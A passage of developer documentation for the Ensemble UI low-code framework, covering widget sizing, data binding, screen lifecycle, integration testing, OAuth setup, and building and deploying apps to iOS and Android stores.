} + + @override + void initState() { + super.initState(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + appBar: AppBar( + backgroundColor: Theme.of(context).colorScheme.inversePrimary, + title: const Text('Flutter Page'), + ), + floatingActionButton: FloatingActionButton( + onPressed: _incrementCounter, + tooltip: 'Increment', + child: const Icon(Icons.add), + ), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Text( + widget.message ?? 'You have pushed the button this many times:', + ), + Text( + '$counter', + style: Theme.of(context).textTheme.headlineMedium, + ), + ], + ), + ), + ); + } +} + +``` + + +First we need to specify a map of name and builder widget. The builder has context and args as parameters. +The args are basically passed using `navigateScreen`'s inputs. + + +```dart +void main() async { + WidgetsFlutterBinding.ensureInitialized(); + Ensemble().setExternalScreenWidgets({ + 'counterScreen': (context, args) { + final message = args?['message']; + return CounterWidget(message: message); + }, + }); + runApp(const EnsembleApp()); +} +``` + +Now, the ensemble framework know about external screen named `counterScreen`. We can now navigate to external screen like following. + +```yaml +Button: + label: Navigate external screen + onTap: + navigateScreen: + name: counterScreen + external: true + inputs: + message: Hello world + +``` + +--- + +# Using local assets + +While developing and previewing your app, you may reference images via URLs. While this is great for rapid prototyping, production Native apps may want to minimize rendering time by referencing assets locally. This is where Environment Variables come in. + +Environment variables can be used for many purposes. You define them in your App's setting on [Ensemble Studio](https://studio.ensembleui.com/) and referencing them any where in your pages with `${env.my_env_variable_name}`. Ensemble also allow you to override these variables in production. This technique allows Ensemble to serve assets locally. + +### Define the environment variables + +Navigate to your App's setting and add an environment variable. +Add Environment Variable + +### Using the environment variables + +Any screens can reference the variable with `${env.variable_name}`. Here we prefix the image with the `imageBaseUrl`. +Add Environment Variable + +### Override environment variables to load images locally + +When building Production app (see [Preparing your App](#preparing-your-app-for-deployment), you can load this image locally instead of via URL. + +- Add the assets under folder `/ensemble/assets/`. +- Open `/ensemble/ensemble-config.yaml` and add a matching environment variable that you defined on Ensemble Studio. Leave the value empty (if all your assets are directly under /ensemble/assets). +- Note: define the variable name but with empty value will attempt to load assets from `/ensemble/assets/`. + +--- + +# Understanding Widget Sizing +Widget sizing is a crucial aspect of building responsive UIs in Ensemble. In this guide, we'll explore the challenges of widget sizing, common solutions, and best practices to help you create layouts that look great on any screen. + +## Core Concepts +#### Parent Constraints +In Ensemble, widget sizing is governed by a system of constraints passed down from parent widgets to their children. These constraints define the minimum and maximum sizes a widget can take on the screen. + +Starting from the root (the screen dimension), constraints are passed down the layout tree to determine the size of each widget. Most widgets, if themselves receive constraints from their parent, will recalculate the constraints (e.g. subtract padding from the available space) and pass them down to their children. A widget may come up with its own size, but it will always be bounded by the constraints provided by its parent. + +**Note**: *Any widget that does not receive constraints from its parent will not be able to pass the constraints down to its children.* + +**Parent widgets that do not provide constraints to their children:** +- *Row does not provided the **width constraint** to its children. Any children of Row must be able to determine their own width, or an error may occur.* +- *Similarly Column does not provide the **height constraint** to its children* +- *Stack does not provide **width nor height constraint** to its children.* +- *Scrollable widgets (e.g ListView, Screen with scrollableView = true) do not provide constraints to their children in the **scrollable direction**.* + +#### Widget with Intrinsic Sizes +Some widgets can automatically determine their own dimensions based on their content or specific properties. These widgets are straightforward to use because they require minimal configuration to look right. + +**Examples:** Text, Image, Icon, .. +```yaml +# Text sizes itself based on the text and the applied styles +Text: + text: Hello Ensemble ! + styles: + fontSize: 16 +``` +**Note**: *just because a widget can determine its own size doesn't mean it will get the size it needs. The final sizing will be bounded by the constraints (minimum/maximum width and minimum/maximum height) provided by the parent widget.* + +#### Widgets without Intrinsic Sizes +Conversely, some widgets cannot determine their sizes (or it may not make sense to). These widgets rely on their parent to provide the sizing constraints. Without the constraint an error will occur, and the system will attempt to give you warnings. If the warning system misses this, the screen may be rendered as a blank screen. + +**Examples:** Divider, Map, TextInput (width), .. +```yaml +# Column does not provide height constraint to its children, +# so Map will not have a height and cannot be rendered +Column: + children: + - Map: +``` + +## Sizing Challenges and Solutions +**Challenge 1**: Managing Unbounded Sizes
    +When a widget does not have an intrinsic size nor receives explicit constraints from its parent, it faces an "unbounded size" problem. + +Example: When a TextInput is inside a Row.
    +TextInput does not have a width and rely on the parent to provide a width constraint, which the Row does not provide.
    +Solution: Set the width on the TextInput, or use FlexRow as the parent. FlexRow will stretch itself to fill its parent's width constraint, and in turn provide a constraint to the TextInput. + +Example: When a FlexColumn is inside a 'Screen with scrollableView=true'.
    +A FlexColumn doesn't calculate its height from the children so it does not have a height. Instead it will attempt to stretch to fill the available height constraint provided by the parent. This will produce an error since the scrollable Screen cannot provide a height constraint.
    +Solution: Ensure every widget in a scrollable direction has a size. In this case simply use a Column instead of a FlexColumn. A Column will calculate its height from the children, forgo the need for a height constraint. + +--- + +# Item Template + +When developing UI, it is common to display lists of items, and Ensemble simplifies this process by providing the `item-template` property. When used within certain containers (e.g. Column, Carousel, Grid, ..), you can iterate through a data set and render a set of child widgets. + +`item-template` takes the following properties: + +| Property | Type | Description | +| -------- |--------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------| +| data | array | Bind to an array of data from an API response or a variable | +| name | string | Variable name referencing each item in the array. Name it as per your use case (e.g. 'person', 'item' ..) | +| template | [Widget](#widget-directory) | Define the child widget to render for each item in the array. Within this widget you can bind to the item using the `name` syntax (e.g. `${person.firstName}`) | +| indexId | string | (optional) Default: index. The property that will be assigned the current index of the data array while looping through it | + +Different containers may expose additional properties to further customize the rendering of the children, but they will always have the `data` and `name`. + +### Basic Usage +To demonstrate the basic usage of `item-template`, Below we hardcode a list of names and render each as a Text widget. These text widgets will be displayed vertically one after another because they are inside a Column parent, with a gap of 10 in between. +```yaml +Column: + styles: + gap: 10 # gap between each child + item-template: + data: ["John", "Mary", "Peter"] + name: name + template: + Text: + text: Hello ${name} +``` +The output will look something like this: +Screenshot + +### Binding to API data +In a real-world scenario, you would bind to data from an API response. Below is the shorten JSON payload from hitting "https://randomuser.me/api/?results=5". We'll be using this to render our UI. +```json +{ + "results": [ + { + "name": { + "title": "Mrs", + "first": "Lya", + "last": "Brun" + }, + "picture": { + "large": "https://randomuser.me/api/portraits/women/9.jpg", + "medium": "https://randomuser.me/api/portraits/med/women/9.jpg", + "thumbnail": "https://randomuser.me/api/portraits/thumb/women/9.jpg" + }, + }, + ... (more entries) ... + ], +} +``` +Let's update our definition to fetch the API on page load, then show each person's photo and name in a Carousel. + +```yaml +View: + styles: + useSafeArea: true + # call the API upon loading the screen + onLoad: + invokeAPI: + name: getRandomUsers + body: + Carousel: + styles: + layout: multiple + height: 150 + multipleItemWidthRatio: .3 + indicatorType: circle + item-template: + # bind to API's response body, then access the 'results' array within it + data: ${getRandomUsers.body.results} + # name each item in the array as 'person' + name: person + template: + Column: + styles: + crossAxis: center + gap: 10 + children: + - Image: + styles: + width: 60 + height: 60 + borderRadius: 1000 + borderColor: grey + # the JSON response + source: ${person.picture.medium} + - Text: + styles: + textAlign: center + text: ${person.name.first} ${person.name.last} + +API: + getRandomUsers: + url: https://randomuser.me/api/?results=5 +``` +The output will look something like this: +Screenshot + +Here's an [example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yWM8nLePITT8IpCZLMNe) of how to use `indexId` property to access the current index of the data array. + +--- + +# Data Binding +Data binding allows you to bind data from various sources to your UI components. Any changes to applicable data sources will automatically update the UI components. Data Binding is also used when passing variables to API, Widgets, and Actions (among others). + +The syntax for binding is `${bindingSource}`, and can be used anywhere a text or an expression is accepted. + +### Binding to an editable widget +Ensemble makes it easy to listen for changes to any widget's properties. In the example below, we defined a TextInput and give it an id "myInput". We then created a readonly Text and bind its text property to the TextInput, prefixed with "You entered". As you are making changes to the TextInput and the focus leaves, TextInput will dispatch its changes to all listeners, causing the readonly Text to re-render its content. +Screenshot + +(to be updated ...) + +--- + +# Screen Lifecycle +An Ensemble app consists of a series of screens, each with its own lifecycle that defines how it renders, pauses, resumes, and disposes of resources. You can provide actions to be triggered at each of these lifecycle stages. + +### onLoad +This stage is triggered when the screen is first loaded and the body widget has been rendered. At this point, you will have access to all widget IDs (if specified). This is an ideal place to initialize your screen's states and invoke APIs. + +### onPause +This stage is triggered when the screen is no longer active. This could be due to the user navigating to another screen or, in native applications, the app moving to the background. In the latter case, the OS may terminate the app if the Action takes too long to process or uses excessive resources, so it is recommended to execute actions that will complete promptly. + +`onPause` includes the following payload (accessible via `event.data.*`): +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| isAppPause | boolean | This will be true if the app (Native only) is causing onPause to be called because it is going to the background (or the user is switching to another App). Use this to differentiate from the user navigating to another screen. | + + +### onResume +This stage is triggered when the screen becomes active again after having previously been inactive. This could be due to the user navigating back to the screen or the app (native only) coming to the foreground. + +Note that this will not be triggered if you navigate to another instance of the same screen. In other words, only navigating back (or switching screens using the bottom navigation bar) will trigger this. + +`onResume` has the following payload (accessible via `event.data.*`): +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| inactiveDuration | number (ms) | Specifying how long the screen has been in inactive state (in milliseconds). This is useful for tracking how long the screen has been inactive and re-fetching the data. Note that we may not always able to determine this, so it may be null. | +| isAppResume | boolean | This will be true if the app is causing onResume to be called because it is going to the foreground (the user is opening your app). Use this to differentiate with the user navigating back to your screen. | + +--- + +# Custom Widgets +In addition to Ensemble-provided widgets and containers, you can create custom widgets to extend the functionality of your app. Custom widgets can be used to encapsulate complex logic, create reusable components, or integrate with third-party libraries. + +Custom Widgets can be created and used within a Screen or globally across multiple screens. + +(to be continued ...) + +### Screen-level Custom Widgets + + +### App-level Custom Widgets + +--- + +# Preview your app + +Your apps are available for preview on web, and iOS and Android devices. Share it with your QA, Product Managers, customers, ... for early feedbacks. + +## Preview on iOS and Android + +First, download Ensemble Preview app by scanning this QR Code: + +
    + +![QR code for Ensemble Preview](public/images/app-qr.png) + +
    + + +or select your platform here: + + +Download on the App Store + +Get it on Google Play + +Now follow these steps to preview your app: + +1. Log in to Ensemble Studio. +2. Click on the app you want to preview. +3. Click Settings on the left sidebar. Here you find the app ID and a QR code. +4. Open Ensemble Preview app and select the option to scan the QR code on the settings page. + + +## Preview on web + +1. Log in to Ensemble Studio. +2. Locate the app you want to share, and click the `...` menu. +3. Select Get Preview Link. +4. The preview link is now copied to your clipboard. Paste it in the browser or share with others to run your app on web. + +--- + +# Automated Testing + +Ensemble apps support automated testing using Flutter's integration testing framework. You can easily find and interact with widgets in your tests using the `testId` property. + +## Adding testIds to your widgets + +Add `testId` properties to widgets in your YAML to make them findable in tests: + +```yaml +Button: + testId: navigate_button + label: Navigate to Goodbye Screen + onTap: + navigateScreen: + name: Goodbye +``` + +## Writing integration tests + +The [starter project](https://github.com/EnsembleUI/ensemble/tree/main/starter) includes an example integration test at [`integration_test/app_test.dart`](https://github.com/EnsembleUI/ensemble/blob/main/starter/integration_test/app_test.dart) that demonstrates: + +- Finding widgets by testId using `find.byKey(ValueKey('testId'))` +- Interacting with widgets (tap, enter text, etc.) +- Navigating between screens +- Verifying widget states + +Here's a simplified example: + +```dart +import 'package:flutter_test/flutter_test.dart'; +import 'package:integration_test/integration_test.dart'; +import 'package:ensemble_starter/main.dart' as app; + +void main() { + IntegrationTestWidgetsFlutterBinding.ensureInitialized(); + + group('Ensemble App Testing', () { + testWidgets('Test navigation flow', (WidgetTester tester) async { + app.main(); + await tester.pumpAndSettle(); + + // Find widgets by testId + final buttonFinder = find.byKey(ValueKey('navigate_button')); + expect(buttonFinder, findsOneWidget); + + // Interact with widgets + await tester.tap(buttonFinder); + await tester.pumpAndSettle(); + + // Verify navigation worked + final secondScreenTextFinder = find.byKey(ValueKey('goodbye_title')); + expect(secondScreenTextFinder, findsOneWidget); + }); + }); +} +``` + +## Running tests + +Run your integration tests with: + +```bash +flutter test integration_test/app_test.dart +``` + +For more information on Flutter integration tests, see the [Flutter Testing documentation](https://docs.flutter.dev/testing/integration-tests). + +--- + +# Preparing your App for deployment + +Once you have built your UI with Ensemble and used it to build your app and are ready to take it to production, follow these instructions to deploy it to any iOS or Android devices, or to submit it to the Apple AppStore or Google Play Store. + +### Prerequisites +* Your Ensemble App ID. From [Ensemble Studio](https://studio.ensembleui.com), go to your App's Settings screen to retrieve the App ID. + +### Download Ensemble Starter +Ensemble Starter is our packaging solution, enabling you to connect to your Ensemble UI and package it. +* Clone the Starter App `git clone https://github.com/EnsembleUI/starter my_first_app` into the folder *my_first_app*. You may change the name, but don't use camelCase (e.g. myFirstApp) or dash (-) as the separators. +* Follow the README in this repo. + +### Requesting permissions from your end-users +If your app requires capabilities like location, camera, ..., you will need to enter a reason per capability. These reasons will be prompted to the end users, who can decide whether to grant or deny your requests. +* For iOS, edit `/ios/Runner/Info.plist` and add the below permissions as the direct children of the `` tag. +* For Android, edit `/android/app/src/main/AndroidManifest.xml` and add the below permissions as the direct children of the `` tag. + +Below are the snippet per capability to insert for iOS and Android respectively. + +**Location** +```xml +NSLocationWhenInUseUsageDescription +e.g. This app needs access to your location to .... +``` + +**Camera** +```xml +NSCameraUsageDescription +e.g. your reason for requesting camera access + +NSMicrophoneUsageDescription +e.g. your reason for requesting microphone access +``` + + +--- + +## Configure Social Sign In for Deployment +Before deployment, you need to configure your own OAuth credentials plus specific setups for each platforms. + +### Setting up Sign In credentials +On Google's API Console, create your OAuth client ID for each platform (i.e. iOS, Android, Web). + +For `iOS`, enter the bundle ID of your App. + +Google iOS client ID + +For `Android`, use Web Application type (don't use Android type). You can leave Authorized Origins and Redirect URIs blank. + +Google Android client ID + +For `Web`, use Web Application type. +- Authorized Origins should be your domain (e.g. https://mycompany.com). You can also use localhost while in development (e.g. http://localhost:3000). +- Redirect URIs can be empty. + +webclient ID + +Using a code or text editor, open `/ensemble/ensemble-config.yaml` and enter these credentials. + +```yaml +... +services: +  signIn: +    providers: +      google: +        iOSClientId: +        androidClientId: +        webClientId: +``` + +#### Setting up iOS +On Google's API Console, open the OAuth client ID for iOS and look for the `iOS URL Scheme` under Additional Information. + +Open `/ios/Runner/Info.plist` with a code editor, look for the block below and replace the value with your iOS URL Scheme. + +```yaml + + CFBundleURLTypes + + + + CFBundleTypeRole + Editor + CFBundleURLSchemes + + your_iOS_URL_scheme_here + + + +``` + +#### Setting up Android +There is no additional setup required for Android. + +#### Setting up Web +In the `web/index.html` file, look for the block below and replace the value with your Web client ID. +```html + +``` + + + + + +### Enable Auth service in Ensemble code + +By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +* Under pubspec.yaml. Uncomment the Auth module block, then run `flutter pub get`. +```yaml + # Uncomment to enable Auth service + ensemble_auth: + git: + url: https://github.com/EnsembleUI/ensemble_module_auth.git + ref: main +``` + +* Uncomment and update the following lines in `/lib/generated/ensemble_modules.dart`. Try running it with `flutter run` +``` +... +import 'package:ensemble_auth/auth_module.dart'; +... +static const useAuth = true; # set to true +... +if (useAuth) { + // Uncomment to enable Auth service + AuthModuleImpl().init(); +} else { + AuthModuleStub().init(); +} +... +``` + +--- + +# Deploy to iOS TestFlight +Note: we are showing here how to deploy your app to Apple TestFlight. Please follow Apple's [documentation](https://developer.apple.com/app-store/submitting/) on how to deploy to the App Store. +#### Register app +If this is a brand-new app, you first need to register a unique Bundle ID and a unique App Name with Apple. +1. [Register the Bundle ID](https://developer.apple.com/account/resources/identifiers/bundleId/add/bundle) `e.g. com.mycompany.appname`. This is important and cannot be changed later on. You'll also need this ID later in this document. + +Add Bundle ID + +2. [Create a New App](https://appstoreconnect.apple.com/apps) using a unique App Name and this Bundle ID. The App Name is how your app will eventually be searchable and appear in the App Store. + +Add App + +#### Preparing Ensemble for uploading +* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, including following the starter repo's README instruction to configure and run your App. +* Navigate to the app folder (e.g. my_first_app). +* Under `ios` folder, open `Runner.xcworkspace` with [XCode](https://developer.apple.com/xcode/). + * Select the Team (Apple Account) used to create the App and Bundle ID. You may need to log in to your Apple Developer Account under XCode > Preferences > Accounts. + * Under `Signing & Capabilities`, ensure the `Bundle Identifier` matches exactly your Bundle ID above. + Update App configs + + * Under `Info`, find the `Bundle display name` key and update its value to your desire name (e.g. My First App). This is the name that shows up once your App has been installed. This doesn't have to exactly match your App Name, and can be shorter so its name is not cut off under the App icon. + Add App + +* Run `flutter build ipa --no-tree-shake-icons`. This will create the ipa file at /build/ios/ipa/my_first_app.ipa. +* Download Apple’s [Transporter](https://apps.apple.com/us/app/transporter/id1450874784?mt=12) and login with the same Apple account. Drop the ipa file into the Transporter App then click Deliver. + * This may take 5-10 minutes AFTER upload completes before the build shows up under `Your App Name > TestFlight` tab, plus another 10-15 minutes to complete processing. +* Click to manage Apple's app compliance by answering the questions. + Update App configs +* You can now invite your team members to install your App under `Internal Testing`. Each person can download the app via TestFlight. + +--- + +# Connecting to OAuth services (Optional) + +Ensemble supports authorizing and fetching data from OAuth2 services like Google and Microsoft. The entire flow is handled automatically if you are using Ensemble Go to preview your app. + +When deploying your Production App and you'd like to use OAuth Services, please follow these instructions to configure your back-end server to work with Ensemble's UI. + +## App Redirect +When an OAuth flow is initiated within the UI, Ensemble will redirect the users to the appropriate OAuth service's login page. Once the users enter their username/password and authorize your app, the OAuth service will invoke a callback URL (known as Redirect URL) that your app defines. This Redirect URL will re-open your app and continue the OAuth flow. + +The Redirect URL to open your App can be a Http App Link or a Custom Scheme (non-http). + +### Custom Scheme +#### iOS +- Look for `CFBundleURLTypes` inside the ios/Runner/Info.plist and update accordingly. + - `CFBundleURLName` - By convention match this with your bundleID + - `CFBundleURLSchemes` - When registering with the OAuth services, they may give you a unique string or enable you to enter your own. The scheme follows this format `some.globally.unique.scheme://`. This has to be unique so it doesn't clash with any other apps out there. + - Enter only the portion before the `://`. +``` +CFBundleURLTypes + + + CFBundleURLName + com.mycompany.myapp + CFBundleURLSchemes + + some.globally.unique.scheme + + + +``` + +#### Android +- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. +- e.g. if your callback URL looks like this `some.globally.unique.scheme://authorize`, the android:scheme should be `some.globally.unique.scheme`, and android:host should be `authorize`. +``` + + + + + + + + + + + + + +``` + + +### Http App Link +Using a URL to redirect and open your App requires two steps for each platform: 1. adding a configuration similar to the custom schemes above, and 2. prove that you own the redirect URL's domain. +#### iOS +- Open `ios/Runner/Runner.entitlements` and add an entry for the URL you want to redirect to your App. Note the required prefix `applinks:`. +- For example, if your want the URL `https://auth.mycompany.com/callback` to open your app. Enter only the domain to the URL below. +``` + + com.apple.developer.associated-domains + + + applinks: .... + + + applinks:auth.mycompany.com + + +``` + +- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). + - The file should be called `apple-app-site-association` and served with Content-Type of `application/json`. + - The file can be at the root of your server or under a folder called `.well-known`. + - Using the example URL above, add `/callback` to the paths. +``` +{ + "applinks": { + "apps": [], + "details": [ + { + "appID": ".", // e.g. 3GHDU3434.com.mycompany.myapp + "paths": ["/"] // e.g. /callback + }, + { + .. other Apps and paths here ... + } + ] + } +} +``` + +#### Android +- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. + - android:host is the URL domain or subdomain that will open the app, while android:pathPrefix is the path after the domain. + - For example, use the below if your want the URL `https://auth.mycompany.com/callback` to open your app. +``` + + + + + + + +``` +- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). + - The file should be called `assetlinks.json` and served with Content-Type of `application/json`. + - The file can be at the root of your server or under a folder called `.well-known`. + - Get your app's SHA256 by going to Google Play's developer console. +``` +[ + { + "relation": ["delegate_permission/common.handle_all_urls"], + "target": { + "namespace": "android_app", + "package_name": "com.mycompany.myapp", + "sha256_cert_fingerprints": [ + "", + ] + } + } +] +``` + +## Server component +Once the OAuth service successfully authenticates the user and redirect back to our App, we will be making a call to your server and pass the OAuth code. Your service will be exchanging this code for the access/refresh token. +- We provide the sample server code in Node (deployable with Firebase). +- Open `ensemble/ensemble-config.yaml` and go to `services -> apiAuthorization`. + - Replace the `tokenExchangeServer` + +--- + +# Deploy to Android devices + +* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). +* Run `flutter create --platforms=android .` (note the period at the end) +* Run `flutter build apk --no-tree-shake-icons` to build the APKs (destination is /build/app/outputs/flutter-apk/). +* Connect your Android device to your computer, then run `adb install build/app/outputs/flutter-apk/app-release.apk`. + + +### Customizing your App +* Play Store requires each app to have a unique app ID, which cannot be changed after your submit your App. + * To update the app ID, open `/android/app/build.gradle`. Go to `android > defaultConfig > applicationId` and update the value. + * Remove `/android/app/src/main/AndroidManifest.xml`. + * Run `flutter create --platforms=android .`. +* To update the app's name. Open `/android/app/src/main/AndroidManifest.xml` and change the `android:label=` to the app name. + +--- + +# Deploy to Android Play Store + +## Pre-requisites +* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). +* Sign your Android app's release version. The below is a demonstration and maybe out-of-date. Please follow Android's latest documentation for up-to-date information. + * Generate a release key using Java's keytool + * Run `keytool -genkey -v -keystore ~/.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ` + * Replace and to your liking. The tool will also ask you to choose the passwords. + * Under the /android folder, create a file called `key.properties`(DO NOT check this in) and populate these required values: +``` +storePassword= +keyPassword= +keyAlias= +storeFile= +``` + * Open `/android/app/build.gradle`. Under `android > buildTypes > release`, enter `signingConfig signingConfigs.release`. + +## Uploading your build +* Navigate to the folder for your project (e.g. my_first_app). +* Open the file `pubspec.yaml` and look for `version` e.g. version: 1.0.0+1. The last number is the build number which has to be unique on every upload. Simply increment it for each production build. +* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. +* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. + +## Updating your Play Store app. +* Once your app has been approved and live on the Play Store, follow these instructions for subsequent updates: + * Run `flutter pub upgrade` to upgrade Ensemble dependencies. This may include framework's bug fixes as well as new widget additions. + * If you are using Ensemble-hosted definitions, you already have the latest page definitions. +* Increment the version (the one after the + sign) in `pubspec.yaml`. +* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. +* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. + +--- + +# Prepare for Production + +Now, that you have built and tested an ensemble app, you would like to publish. Before publishing your app, it is recommended to make it production-ready. + +This guide covers covers the following topics. + +- **Adding a launcher icons** +- **Adding native splash screen** + +## Adding a launcher icons + +Launcher icons are required as the visual representation of the app on the device's home screen and app drawer, helping users quickly identify and launch the app. + +Currently, the Flutter logo serves as the default icon. Let's see how to replace it with your product's logo. + +We'll be using a package called fluter launcher icons from [pub.dev](https://pub.dev/packages/flutter_launcher_icons). + +- First add the package as dev dependency in `pubspec.yaml`. +```yaml +dev_dependencies: + flutter_launcher_icons: any +``` + +- Add launcher icon configuration inside `pubspec.yaml` +```yaml +flutter_icons: + android: "launcher_icon" + ios: true + # Add path to your icon image. + image_path: "assets/icon/icon.png" + web: + generate: true + image_path: "path/to/image.png" + background_color: "#hexcode" + theme_color: "#hexcode" +``` + +- Run the following command in terminal, to update native launcher icons with above configuration +```bash +flutter pub get +flutter pub run flutter_launcher_icons +``` + +For more nitty-gritty detail check [flutter_launcher_icons#book-guide](https://pub.dev/packages/flutter_launcher_icons#book-guide) + + +## Adding Native Splash screen + +When launching an app, a splash screen is the initial display that a user sees. By default, a native app shows a white screen, but with a splash screen, you can showcase your brand or product logo, and provide the user with a visual cue that the app is in the process of loading. + +We'll be using a package called fluter native screen from [pub.dev](https://pub.dev/packages/flutter_native_splash). + +To add a splash screen to your app, these steps should be followed: + +- First add the package as dev dependency in `pubspec.yaml`. +```yaml +dev_dependencies: + flutter_native_splash: any +``` + +- Add splash screen configuration inside `pubspec.yaml` +```yaml +flutter_native_splash: + + # color or background_image is the only required parameter. + # Only one parameter can be used, color and background_image cannot both be set. + color: "#hexcode" + #background_image: "assets/background.png" + + # The image parameter allows you to specify an image used in the splash screen. It must be a + # png file and should be sized for 4x pixel density. + #image: assets/splash.png + + # The branding property allows you to specify an image used as branding in the splash screen. + # It must be a png file. It is supported for Android, iOS and the Web. For Android 12, + # see the Android 12 section below. + #branding: assets/dart.png + + # To position the branding image at the bottom of the screen you can use bottom, bottomRight, + # and bottomLeft. The default values is bottom if not specified or specified something else. + #branding_mode: bottom + + # Dark theme parameters, if not set above params will be used. + #color_dark: "#042a49" + #background_image_dark: "assets/dark-background.png" + #image_dark: assets/splash-invert.png + #branding_dark: assets/dart_dark.png +``` + +- Run the following command in terminal, to update native slash screen setting with above configuration +```bash +flutter pub get +flutter pub run flutter_native_splash:create +``` + +Re-run your app and you'll see newly added splash screen. + +For more nitty-gritty detail check [flutter_native_splash#usage](https://pub.dev/packages/flutter_native_splash#usage) + +--- + +# Making your app work when offline + +You can embed your app definition in your build output so that your app works without network connectivity. Note that once you make this change, you will not have the ability to change the app from Ensemble Studio. + +## Prerequisites + +* You have completed the [Prepare your app for deployment step](#preparing-your-app-for-deployment). +* You have a text or code editor on your machine. We recommend [VS Code](https://code.visualstudio.com/). + +## Step 1. Create a folder for your app + +In your local directory where you cloned Ensemble Starter, navigate to `/ensemble/apps` folder. Create a new folder with your desired name, and no spaces. + +This name will not be customer-facing. + +Local app folder + +## Step 2. Copy your app artifacts + +To work in local mode, you can obtain your app artifacts from either **Ensemble Studio** or the **Desktop app**. +#### Option 1: Downloading Artifacts from Ensemble Studio + +1. Open **Ensemble Studio**. +2. Click the `...` menu button for your app. +3. Select **Download Beta** to download all the app artifacts. +4. Once downloaded, locate the app folder. +5. Copy the entire folder (with the above structure). +6. Paste the folder into the `/ensemble/apps` directory you created. + +#### Option 2: Obtaining Artifacts from the Desktop App + +To obtain local artifacts from the Desktop app, pull the app directly into the `/ensemble/apps` folder in your local directory where you cloned the Ensemble Starter. + +Follow this [guide](#pulling-from-cloud-to-local) to pull the app from the Desktop app. +Once obtained, copy and paste the downloaded folders into the `/ensemble/apps` folder you created. + +The downloaded app will already have the following structure: + +``` +/ +├── assets/ +├── fonts/ +├── scripts/ +├── widgets/ +├── screens/ +├── translations/ +├── config/ +│ ├── appConfig.json +│ ├── secrets.json +├── theme.yaml +├── .manifest.json +``` + + +## Step 4. Update your app to read the definitions locally + +In your local directory where you cloned Ensemble Starter, open `/ensemble/ensemble-config.yaml` file with your desired code or text editor and make the following updates: + +- At the top, set `from: local` under `definitions`: + +```yaml +definitions: + # where your page definitions are hosted ('local', 'remote' or 'ensemble') + from: local +``` + +- Then set the `appId` and `appHome` properties under `local` + +```yaml + local: + path: ensemble/apps/ + appId: myApp # this is the name of the folder you created in step 1 + appHome: MyHomeScreen # this is the name of the screens that should be rendered first when your app id launched +``` +- Under `i18n` update the `path` to match your app’s name `ensemble/apps/yourAppName/translations`. +```yaml + i18n: + # Directory where all the translation files (e.g. en.yaml, es.yaml) reside. + # Translation will be disabled without the path. + path: ensemble/apps/helloApp/translations/ +``` +## Step 5. Update starter `pubspec.yaml` +Add the necessary paths under `flutter -> assets` to ensure your app loads all required files and folders correctly: + +```yaml +flutter: + assets: + # list all your Apps directories here. It's a Flutter requirement + - ensemble/apps/``/ + - ensemble/apps/``/screens/ + - ensemble/apps/``/widgets/ + - ensemble/apps/``/scripts/ + - ensemble/apps/``/assets/ + - ensemble/apps/``/translations/ + + # # config folder contains appConfig.json and secrets.json + - ensemble/apps/``/config/ + ``` + NOTE: Only add the existing paths under assets and replace `` with the name of you app folder. + +## 5. Rebuild your app + +Now you can follow the steps for iOS or Android to run the app locally or build and upload your app to the respective app stores. + +--- + +# Guide: Generating Google Play Console API Key + +## Overview + +This guide outlines the steps to generate a Google Play Console API Key, enabling seamless deployment of APKs or App Bundles directly to the Google Play Store. Make sure to follow these steps sequentially for a smooth process. + +**Note:** Before using the Google API for direct app uploads, you must manually upload at least one build to Google Play Console. However, the build system can still be used to obtain the APK/App Bundle for subsequent uploads. + +## Steps for Creating Google Play API Key + +1. **Log in to Google Cloud Console:** + - Open [Google Cloud Console](https://console.cloud.google.com/). + - Ensure you are logged in with the same account as your Google Play Console. + - If needed, switch accounts by clicking on the avatar. + +2. **Select Google Play Console Developer:** + - Confirm that your account is set to `Google Play Console Developer` in the dropdown menu (located right of the Google Cloud Console logo). + +3. **Access APIs & Services:** + - Select `APIs & Services` from Quick Access. If not visible, use the search bar in the top center. + +![Google Cloud Console Home screen](public/images/deploy/b88f2d9e-8959-4c03-aa3d-b30b3aac56da.png) + +4. **Navigate to Credentials:** + - In the left panel, click on `Credentials`. + +5. **Create Service Account:** + - Click on `+ Create Credentials` at the top, then select `Service Account`. + - Provide a name for the service account (memorable for identification). + - Click `Create and Continue`. + +![Add Credentials](public/images/deploy/2f64dff5-5657-40dd-9461-e79eb5ccb6aa.png) + +6. **Define Role:** + - Choose the role as `Service Account User`. + - Click `Done` to create the API Key. + +![Select adequate role](public/images/deploy/81cb60a6-acac-41d4-b18b-53faceaa2bd6.png) + +7. **Copy Email Address:** + - Copy the email address of the created key (will be needed later). + +8. **Manage Key:** + - Click on the edit icon in the Action row, select `Manage Key`. + +![Manage Key](public/images/deploy/da4986fe-311c-4080-87cc-240b119fbce2.png) + +9. **Generate JSON Key File:** + - In the `Keys` tab, click on `Add Key`, then `Create new key`. + - Choose `JSON` and click `Create`. + - Save the downloaded `.json` file securely. + +![Download json key](public/images/deploy/0cede178-01ac-4fe8-841d-25e59067f9ec.png) + +**Note:** This key needs to be linked to Google Play Console before use. + +10. **Link 